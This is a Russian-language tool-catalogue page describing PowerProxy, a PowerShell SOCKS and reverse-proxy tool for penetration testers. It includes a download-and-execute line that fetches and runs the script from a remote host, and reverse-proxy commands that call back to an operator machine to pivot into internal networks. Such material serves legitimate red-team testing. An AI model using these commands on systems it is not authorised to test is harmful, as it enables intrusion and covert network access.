Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
PowerProxy — PowerShell SOCKS-прокси с возможностями обратного прокси | Kitploit
Инструменты/GitHubGitHub/get-get-get-get/powerproxy
Сетевая безопасностьТестирование на ПроникновениеКомандование и УправлениеRed Teaming
GitHubget-get-get-get/powerproxy

PowerProxy

PowerShell SOCKS-прокси с возможностями обратного прокси

Репозиторий
84136 лет назадПроверено Kitploit

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

PowerProxy

PowerShell SOCKS-прокси с возможностями обратного прокси.

PowerProxy создан с учетом потребностей специалистов по тестированию на проникновение. Функциональность обратного прокси является приоритетной для обхода сетей, блокирующих входящие соединения. Соединения обратного прокси зашифрованы по умолчанию. Для SOCKS5-соединений поддерживается аутентификация по имени пользователя и паролю.

Настройка

Импортируйте скрипт:

root@kitploit:~
iex (new-object net.webclient).downloadstring("http://192.168.0.22/PowerProxy.ps1") 
# ИЛИ
Import-Module \\192.168.0.22\Public\PowerProxy.ps1

reverse_proxy_handler.py может создавать временные SSL-сертификаты, для чего требуется OpenSSL. Если OpenSSL не установлен на вашем компьютере (на большинстве систем на базе Linux/Unix он есть), предоставьте свой собственный сертификат или используйте опцию --no-encrypt.

Использование

Для подробного использования обратитесь к справке PowerProxy или используйте ./reverse_proxy_handler.py --help

Запуск обратного прокси

На локальной машине запустите обработчик:

root@kitploit:~
# Прослушивание обратных прокси на порту 8080. Клиенты подключаются к порту 1080 (по умолчанию)
./reverse_proxy_handler.py -p 8080 

В PowerShell:

root@kitploit:~
Start-ReverseSocksProxy 172.1.1.20 -Port 8080

Прокси-клиенты могут обращаться к серверу, созданному reverse_proxy_handler.py, как к настоящему SOCKS-серверу:

root@kitploit:~
curl --socks4 127.0.0.1:1080 http://10.10.2.69/

Запуск традиционного SOCKS-сервера

root@kitploit:~
Start-SocksProxy 172.10.2.20 -Port 9050

Требование аутентификации

Используйте объекты PSCredential, чтобы потребовать имя пользователя и пароль:

root@kitploit:~
# Создание учетных данных
$Password = ConvertTo-SecureString -AsPlaintext -Force "Passw0rd123"
$Cred = New-Object System.Management.Automation.PSCredential ("ProxyUser", $Password)

Start-ReverseSocksProxy -Credential $Cred -Address 10.10.10.24 -Verbose

Ограничения

  • На данный момент поддерживаются только CONNECT-запросы. Поддержка BIND является целью, если это практично.
  • Аутентификация GSSAPI не поддерживается.
  • reverse_proxy_handler.py протестирован только на UNIX-подобных машинах и, вероятно, не работает в Windows.
Скачать инструмент